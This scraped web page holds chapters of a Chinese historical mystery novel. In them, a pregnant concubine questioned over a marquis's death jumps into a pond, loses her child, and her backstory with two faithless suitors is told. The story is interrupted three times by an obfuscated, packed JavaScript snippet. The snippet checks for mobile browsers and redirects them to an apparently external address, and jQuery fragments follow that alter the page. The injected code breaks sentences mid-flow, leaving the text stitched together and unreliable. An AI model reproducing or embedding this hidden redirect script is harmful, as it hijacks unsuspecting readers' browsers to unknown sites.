;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920772|177071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时卫明展眉头一皱,发现了她的破绽:“既然贺钰决定求娶黄小姐,那势必要同你划清界限。可是你又说,贺钰在你和符飏和好之后,还常常前来骚扰你。这不合理吧?”
江令真早有准备。她的情绪慢慢变得激动:“卫大人,这你得问贺钰。谁知道他是不是追求黄小姐失败,转头又看不得我好过?他是个疯子!”
他追着问:“按贺钰的行事作风,并不像一个容易放弃的人。他如果决定追求黄小姐,怎么会这么快放弃?”
江令真明显烦躁:“我怎么知道......”
卫明展觉得这是一个突破点,话赶话地给她压力:“江姨娘,你是不是还有什么事瞒着我们?”
江令真腾地一下起身:“你们明明应该查杀死侯爷的凶手是谁。为何一直在问我和贺钰的事情?贺钰死了......你们在怀疑什么.....他不可能做我的奸夫,不可能杀死侯爷!”
看着江令真神情激动,李霁感到一丝不对劲,于是也起身,安抚她:“令真,你先坐下。我们并非怀疑你。我们有责任查清所有的疑点。”
江令真则退到亭子边缘,背后便是符飏特地给她打造的荷花池。
她让他们两个人别过来,带着哭腔:“我到底做错了什么事情?郡主,我本应当和你一样,是淮京城里的贵女,会有美满的一生......”
“我想往上走,想嫁给一个对我好、又有能力的男人,有错吗?可是我的姐姐夺走了我的机会!我本来也想着,算了,我可以接受嫁给一个普通人,做他的妻子,我们平平淡淡过一生。”
“可是贺钰就因为我拒绝了他,竟然想亲手把我送到章一姚面前。你们见过章一姚吗?他年老体衰,连站起来都做不到。我一想到要和他做夫妻,心里就作呕!”
“所以最后我只能去给符飏做外室!外室?我从前看见屈尊给男人做小的女人,都会为她们觉得不齿。可是我最后成为了那样的女人......”
“贺钰呢,他竟然还不肯放过我......为什么啊?我只是不想嫁给他,我犯了什么错?”
江令真说着愈发气急:“到底为什么我会遇上贺钰?为什么他一直一直一直一直要阴魂不散!?”
“他已经死了啊......你们放过我吧......我不想再听到这个人的名字!”
卫明展慢慢靠近江令真:“我们有话好好说。你先冷静......”
江令真继续往后退,泪水划满脸颊:“你没资格让我冷静!就是你一直追着我和贺钰的事不放!”
李霁忙说:“令真,你还怀有身孕。你别太冲动,我保证我们会查清谁杀了符表兄。”
身孕?江令真脸上一冷,过了今天,这个孩子会彻底消失。
她心一横:“我不信你们!都是你们逼我的!侯爷死了,我活着也没什么意思......你们竟然怀疑我......还不如我们一家三口,在地府里团圆!”
江令真话落,便决绝地往后一倒,直直坠入冰寒的池塘之中——像一只脱线的纸鸢,没入无边的天际。
15. 平康侯还有下一代吗
几乎是江令真身形向后的同时,李霁和卫明展同时飞身上前,却没能拉住江令真。
李霁心中一惊,顾不得许多,直直跳入池塘内,去救江令真。
而卫明展水性极差,怕进去反而帮倒忙,于是只能急急将院子的人喊出来救人。想了想,又连忙让人去请医师,以防万一。
他看着现场乱作一团,池塘里的人起起伏伏,却不见李霁和江令真的身影,急得抓耳挠腮,却无能为力。
动静之大,府内的夫人和姨娘都纷纷赶到。
谢老夫人一到,听了事情的过程,怒从心中起,拿起拐杖,就要殴打卫明展:“你这个狗官!江姨娘她还怀着孕,你竟如此审问她!你存的什么心?查了这么久,我儿的死因也没查得个明白!如今还逼得我家的姨娘跳水!我打死你!”
也没人拦着。卫明展自知理亏,只由着老夫人发泄。
江照月则捂着嘴,止不住地抽泣。她心里只有一个念头,妹妹千万不要有事。
此时有眼尖的小厮惊呼:“那是不是四姨娘?”
顺着方向望去,只见江令真被李霁托着,浮在水面上。
丫鬟们连忙先把江令真拉到岸上。
府里的袁医师见状立马上前她先探息,面色凝重:“不好,姨娘已无气息。”
谢老夫人闻言,两眼一黑,晕厥过去。江照月也腿软,大叫道:“妹妹!妹妹......”
卢宴容站出来,声色尽量平稳:“袁医师,请尽力施救!”
医师早已飞速地拿起银针,急刺江令真的人中和十宣两穴,见无反应,又以掌根不断按压膻中穴。
时间一点点流过,江令真却仍是昏迷状态,在场之人无不觉得揪心焦急。
好在医师的救治总算有了效果,江令真忽然呛咳吐水,瞧着有转醒的迹象。
但没等松一口气,袁医师却又脸色骤变:“姨娘似是要发动了,赶紧把她抬到内室!”
丫鬟们连忙按照医师指示转移江令真,卢宴容等人也急急跟上。
一时间,池塘边上就只有几位小厮,以及卫明展和浑身湿漉漉的李霁。
卫明展找来一条外衣给李霁披上。
他心神未定,真挚地说:“多谢。还好有你。”
李霁看得出来,卫明展很内疚。他使得江令真落水,却没办法救她。
李霁摇头:“这次的事情,你我都有错。”
两人静静坐在池塘边,从白天等到黑夜。
破晓时分,卢宴容告知他们:“四姨娘暂时没事。孩子却没能保住。”
*
皇帝在第二天早朝后,召见李霁和卫明展。
当朝皇帝名讳李顼,已经年过六旬。他在位四十余年,广施仁政,开疆扩土,称得上明君。
他指着跟前跪下的两个人:“这办的都是些什么事?查个案,还能把符飏的遗腹子给查没了?”
“高临说,那孩子一出世,就断了气。还是个男孩。”
高临是皇帝身边的大公公。
李顼板着脸:“你们可间接害死了下一任平康侯。”
他又对李霁道:“夷安啊夷安,朕让你协助卫明展查案,就是信你稳重,能压住他这个刺头。你怎么同他一起胡闹?你太让朕失望了。”
李霁叩首:“夷安知错,任凭皇上处罚。”
卫明展也磕头:“皇上,全是微臣之错,与郡主无关。郡主还救了江姨娘的命,替微臣亡羊补牢,还请皇上别责怪她。”
李顼鹰隼般锐利的视线停留在他们身上,却不作声。
宫殿里霎那间陷入一阵可怖的寂静,李霁和卫明展别无他法,只能心有忐忑地等待着来自天子的雷霆。
“回去继续查。查不到真凶,朕再一并惩处。”李顼最终轻描淡写地说道。
卫明展松了一口气。两人谢恩。
李霁却大胆,还问道:“皇伯父,平康侯府那边......会不会不满?”
李顼随手打开一本奏折批阅,道:“平康侯的爵位已经传了五代,够长了。”
李霁于是明白。
李顼近几年开始打压世家,提拔寒门。像符家这样依仗着先祖开国的功绩,子孙无所贡献却显赫至今的家族,正是李顼想要敲打的对象。
现在好了,符飏和继任者都已离世,李顼不用再想法子取缔平康侯的爵位。说起来,李霁和卫明展还帮了李顼一个忙。
至于人命,有时在执政者眼中不过草芥。
她末了只是说:“臣侄新得了一串南海流珠。等无念师叔开光完成,我改日便送进宫里。”
李顼则不咸不淡地颔首:“回去吧。”
*
李霁和卫明展走在漫长的宫道上,明明皇帝没有责罚,但两人的心情仍旧沉重。
卫明展强迫自己想案情,尽量不去在意他间接害死了一个婴儿的事情。
但他暂时没法做到。
“事情怎么会发展到如今的境地?我早该察觉到江姨娘的异常。我把她逼得太紧。她和贺钰之间的事情,说起来都已经时过境迁。贺钰死在符飏前头,他杀不了符飏。哪怕符飏确实得知了这段私情,江令真怀胎多月,又哪里有力气能反抗符飏?至于买凶杀人,江令真一介后宅女子,哪里来的渠道和财物去买凶,又有谁情愿为了一个妾室去杀平康侯?”
“这些事情都摆在明面上。我却宁愿去相信自己所谓的直觉,总认为江令真和贺钰之间的事情不对劲。我也未考虑到贺钰对江令真所造成的伤害之大,还拿这些事情刺激她。”
卫明展越说越低落:“况且,女子有孕,本就需好生养着。江令真又刚刚经历丧夫,情绪不好更是正常。唉......说到底都是我思虑不周,害了一条人命。”
李霁心中同样不痛快:“稚子无辜,却被连累丢了性命。而且江令真落水是一时冲动。我担忧她醒后后悔,孩子却没了,她会痛不欲生。我比你熟悉她,却也没有预料到她的行为,是我失职。”
她说:“况且若是我的水性更好些,更沉着些,或许就能更早把她救上来,或许孩子还能保住。”
互相倾诉完,两个人不约而同又陷入一阵更哀郁的情绪里。
沉默着走到宫门,二人即将要分道而行
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920773|177071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“事已至此”,李霁说:“卫大人,我理解你自责,我同样后悔。但符飏案却不能不接着查。”
卫明展说:“我知道。现今唯有找出杀害平康侯的真凶,才能让平康侯府回归平静,才能尽可能地抚慰那孩子的在天之灵。”
临走时,他说:“郡主,我得和你再说一次。在这件事里。你已经尽力了,你把江姨娘成功救了上来。千万别为难自己。”
他紧接着又说:“回去喝些姜汤。别染上风寒了。大理寺这边有我,你今日休息便好。”
李霁挤出一个笑容:“好。”
在轿子里,李霁撑着头想要小憩一阵,脑子里却只有她在水下怎么找也找不到江令真的场景。李霁自诩水性不差,那池子总共也就那么大,但水下泥沙漂浮得四处都是,她看不清前方都有什么,只能凭直觉胡乱找寻......
她的女侍银鹤瞧着她眉头紧锁,不由问:“郡主可是有哪里难受?”
李霁也索性不睡了,睁开眼:“有些事情我想不明白。”
银鹤说:“是因为江令真之事?说起来这件事实在出乎人的意料。单单看她的过往,那么多坎坷她都挺了过来,这样的人居然也会想不开。而且她本可以都可以母凭子贵,当下一任平康侯的母亲。真是让人感到唏嘘。”
是啊......江令真的心性坚韧,又聪慧过人,此时大理寺手里并无铁证,事情也远远未至山穷水尽的地步,但她最后竟是选择了跳池自尽。
江令真的自尽,是因为她崩溃心死,还是存在着其他原因.......
李霁想着想着,忽然间灵光一现。
她说:“去卫府.......不,直接去大理寺。”
*
大理寺内,卫明展坐下没多久,就又见到李霁走进来。
他疑惑:“郡主怎么来了?你不是回王府了吗?”
李霁拉住他说:“卫大人,我有一个想法,你且听听。”
“什么?”
“是关于贺钰的死因。”
“卷宗中记载,贺钰最后是在狱中撞墙自尽而亡。但袁将军说过贺钰为了活命而偷走同伴的干粮。剿匪过程中,贺钰也因担心受伤而当了逃兵。这样的人,真的会自杀吗?而且他当时还对狱友说自己上头有人,说明他似乎不认为自己最终会被处刑。如此说来,他的自杀更无道理。”
贺钰?卫明展听完李霁所言,沉思一阵。确实,贺钰性格自利,最为爱惜自己的性命,自尽一事,仔细一想,是可疑得很。
卫明展道:“倘若贺钰之死另有蹊跷。那凶手是谁?谢录的家人?”
他又很快自我否定:“不对。贺钰已经被判秋后处斩,谢家没理由多此一举。”
“最重要的是,明知贺钰死亡是板上钉钉的事情,为什么还有人要提前下手?”
他思索着:“一定是贺钰对那个人还有威胁。最大的可能就是贺钰知道一个秘密,一个他临死之前会说出来拉上对方共沉沦的秘密。所以对方要杀了贺钰。”
卫明展喉头发紧,说出一个大胆的猜测:“是江令真?”
16. 江令真
江令真从小就知道自己将来会走上什么样的道路。
她会学习琴棋书画,女工女德,成为一名和她母亲崔熙一样德容兼备的贵女,接着嫁给一位门当户对的郎君,管理后宅中馈,生儿育女。
可惜天有不测风云,她家道中落,不再是高官的小姐。
离开淮京那一年,江令真七岁。她看向高耸的城门,暗中许下一定要回来的愿望。
但又可惜,江令真是女儿身。她没法考取功名、没法参军致仕。她只能依靠父亲,和未来的婚姻。
父亲江恪很快变成了不可靠的存在。
江恪一遭贬谪,心绪郁郁,终日醉酒。
江令真的母亲崔熙贤德,劝诫江恪戒酒,做好父母官,积攒政绩,为重回都城做准备。
江恪听不进去,反而同崔熙离心,怨恨崔家隔岸观火,不肯拉他一把。
渐渐地,江恪同他从前看不上的妾室兼表妹田珍绸愈走愈近。田珍绸出身商贾之家,心性豁达,她一贯安于眼前,对于都城没有念想。
江照月性子随母亲,很快就适应了荔山的生活,每天都想着去哪玩,似乎完全没有忧愁。
江家里,似乎只有崔熙和江令真母女还存有向上爬的希冀。
江令真暂时没法同大人较劲,只得把矛头转向姐姐江照月。
为什么父亲慢慢不喜欢自己和母亲,为什么是田珍绸和江照月夺得了父亲的宠爱?
为什么明明同样的境遇,江照月就能活得这样没心没肺?
江照月活得越肆意开怀,江令真的怨恨更增一分。
江令真九岁时,崔熙难产而亡。
彼时崔熙发动时,江恪还在酒馆里昏醉不醒。还是田珍绸为崔熙寻来了郎中,但这无济于事,崔熙最终身故。
荔山正值梅雨天气,看见母亲垂下的手和苍白的面庞,江令真仿佛觉得潮湿的水汽化做无处不在的屏障,团团勒住她整个身子,不得动弹。
江令真开始怨恨家里的每一个人。
她一定要逃离这里,一定要回到淮京城。
江令真想起她身上还流着崔家的血脉。
她给外祖母写信。每月一封,不提要她帮忙,只是告知她自己在这边的生活。江令真在信里美化了江恪和自己的父女关系,提到江恪如何在当好父母官的同时也在好好教导江令真,她自己又如何努力学习礼仪诗书,以及两人如何思念已故的崔熙。
大约是崔家担忧被知道他们还同罪臣有联系,江令真没收到过任何回信。
*
江令真和江照月十五岁及笄这一年,江恪等到了召他回都城的圣旨。
时过境迁,皇上赦免了与当年案子牵连的一些人,崔家也就顺水推舟,为江恪求情。
江令真高兴不已。
她回了淮京,立马求见外祖母,却得知老人在一年前便已仙逝。外祖母临终前,要江令真的舅舅一定将江令真接回都城来。
江令真痛哭。舅舅却再给她当头一棒:“令真,你需谨记,你是江家女,而非崔氏之后。你父亲官职足够他清闲后半生,让他切莫贪心。”
江令真明白,舅舅这也是让她别贪心,是在与江家割袍。
她不甘心。到底是回来了,她不可能就此罢休。
江令真决定要寻到一位有权有势的夫君。
她家世平平,那么就要充分利用美貌和才学。
纪国公主的赏花宴,江令真初露头角。公子们聚集到她身边,但得知她的家世后,大多便离去,剩下的都是些平庸之辈和好色之徒。
这也在江令真的意料之中。她没办法嫁给年纪相当的高官贵族做正妻,她要么当年老者的续弦,要么做妾室。
不过她在一开始,还是想碰碰运气。
平康侯符飏,似乎是一个不错的选择。
符飏俊朗高大,为人儒雅斯文,家里也仅仅有一位妾室,洁身自好。而且他只有一位女儿。江令真如果能为符飏生下一位继承人,那么她后半生便可以母凭子贵。
符飏对江令真也颇有兴趣。
江令真感觉自己慢慢爱上这位平康侯。
这很危险,却很幸福。
终于,符家的媒婆上门提亲。
江令真翘首以盼,眉目里都是欢喜。
但她却听见媒婆说:“老身前来,是为平康侯府求娶贵府大小姐江照月。”
媒婆堆在脸上的假笑无比刺眼。
江令真和田珍绸异口同声:“大小姐?!”
田珍绸不想女儿嫁入高门。她很爱自己的女儿,但同时她清晰地知道,江照月没脑子,不适合勾心斗角的生活。
媒婆道:“是呀。是大小姐江照月。”
江恪也惊讶,他根本不知道女儿和符飏有什么联系。
只有江照月最镇静。她坐在那里,早就知道这会发生。
江令真有苦说不出。她能说什么呢?她和符飏交往并未宣之于众,符飏也从未说要求娶她。
她没去找符飏或者江照月对峙,问他们两人之间发生了什么。
她落寞地瞧着家里挂上婚嫁的大红装饰,一派喜气洋洋的氛围,想着:算了,她这一生注定平庸。
或许这也没什么不好。
江令真开始相看郎君。她意欲寻找一些和她年纪相仿、家世相似的男子。
在这个时候,贺钰私下向江令真表明了心意。
贺钰是前工部侍郎的儿子,几位哥哥都在朝中任职。
虽然贺钰无官职在身,也不受父亲重视,但他仍旧能够继承贺家的姓氏和部分资产,能过得比许多人要好。
江令真能嫁给贺钰,其实不失为好去处。
但江令真拒绝了他。她不喜欢贺钰。反正她现在寻婚事也不奔着荣华富贵,那么她至少得找一位她喜欢的。
况且她认为贺钰这人心思太重,有时候不算真诚,比如他没将想要求娶江令真的事情告诉贺家。
他爱她,仅限于嘴上说说。
江令真选夫的计划还是告破。
一个消息传入江府——礼部侍郎的兄长章一姚正在联系媒人,要求娶江令真做姨娘。
章一姚是什么人?他年轻时风流成性,染上一身花柳病,现在呢,是半截身子快要入土的病秧老头。他娶江令真,似乎是为了冲喜。
江恪愁得一宿睡不着觉,愈发觉得自己没用。
江令真没有慌。她越到困境,越能冷静。她知道自己得尽快把婚事定下来。
而继母田珍绸虽然不喜欢江令真这个不乖顺的继女,但总归不忍心看她真的遭难。田珍绸速速去了平康侯府,托女儿照月让符飏想想办法。
符飏显得很热心,承诺会帮小姨子摆脱这门婚事。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920774|177071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
江令真则由此又和符飏见了面。她猛然发现,自己居然对他还心存欲望。
符飏待她比往日更好,还在私下向她解释他和江照月的事情:“我和照月是奉子成婚。在府中游园那日,我在房中醒酒,见到了迷了路的照月。我们喝的茶中不知何时被人下了药,之后便......我对不起照月,只能娶她。”
符飏温柔地为江令真别好耳边的发:“我更对不起你,令真。我那日最终会把持不住,最重要的原因,是我将照月看成了你。”
“我最心悦之人是你。”
贺钰不久也夜访江府,他说他还是愿意娶江令真,不过碍于家里的要求,现在他只能娶她做姨娘。他承诺会扶正江令真。
章一姚的媒婆不日就要上门,江令真最终先一步选择做了符飏的外室。
反正都是做小,她情愿攀一株更高的枝。
后来的日日夜夜,她总是在想自己的这个决定到底对不对。
至少刚开始的一段日子,她沉浸在快乐里。
无论是情感还是物质上,符飏都满足了江令真对丈夫的想象。
别院是他们的小家,两个人终日黏在一处,泼墨作诗,饮酒抚琴,宛如池里相爱相守的鸳鸯。
可惜江令真的生活处处充满起落。
符飏抛弃了她——因为他正在求娶的高门小姐不喜欢他有外室。
江令真不再能冷静。她以泪洗面,她心知她早在符飏的甜言蜜语里丧失了和生活反抗的勇气。
*
江令真不愿意回江家见父亲和继母。
在郊外,她用积蓄买下一个院子,暂时安置下来。
贺钰则再度出现在她的生活里。
他参军归来,立了功,现在前途似锦。
贺钰对江令真的心意却没有改变,他再次向江令真求爱。
江令真因男人而陷入谷底,却忍不住将另一个男人当做救赎。
她后来觉得这时的自己可笑至极。
贺钰做的事情和符飏没什么区别。
他们都短暂与她相爱,又飞快地弃她如敝履。
只不过贺钰用的时间更短,意图更丑陋。
江令真和他确定心意不到一个月,贺钰就露出了真面目,说他玩够了,不会再来见她。
“你不会真以为我会娶一个被别人睡过的女人吧?大才女,这都想不明白吗?在床上说的话,你也当真?”
“实话告诉你,你没跟符飏好之前,我都不想娶你做妻子。你这种家世,只配给我做妾。没想到你愿意给符飏做外室,都不愿意嫁给我。我有什么比不上符飏?他不就有一双好爹娘吗?如果我娘不是青楼那个贱人,我早就能做官,现在肯定比贺昌吉和符飏更好......”
“我为你做的,一点都不比符飏少。章一姚要娶你做姨娘的事情还记得吧?猜猜背后推动的人是谁?是我!还有,为了让符飏休掉你,我可又花了不少精力撮合黄芝霖和符飏。”
“我从前这么喜欢你,你却总是瞧不上我。现在你知道这是什么滋味了吧?你活该被男人玩弄。贱货。”
贺钰临走前的话一遍一遍循环在江令真耳边。
江令真跪坐在地上,仿佛陷入沼泽,难以呼吸。
贺钰大摇大摆地离开,江令真的噩梦却未因此结束——
她此月的葵水未至。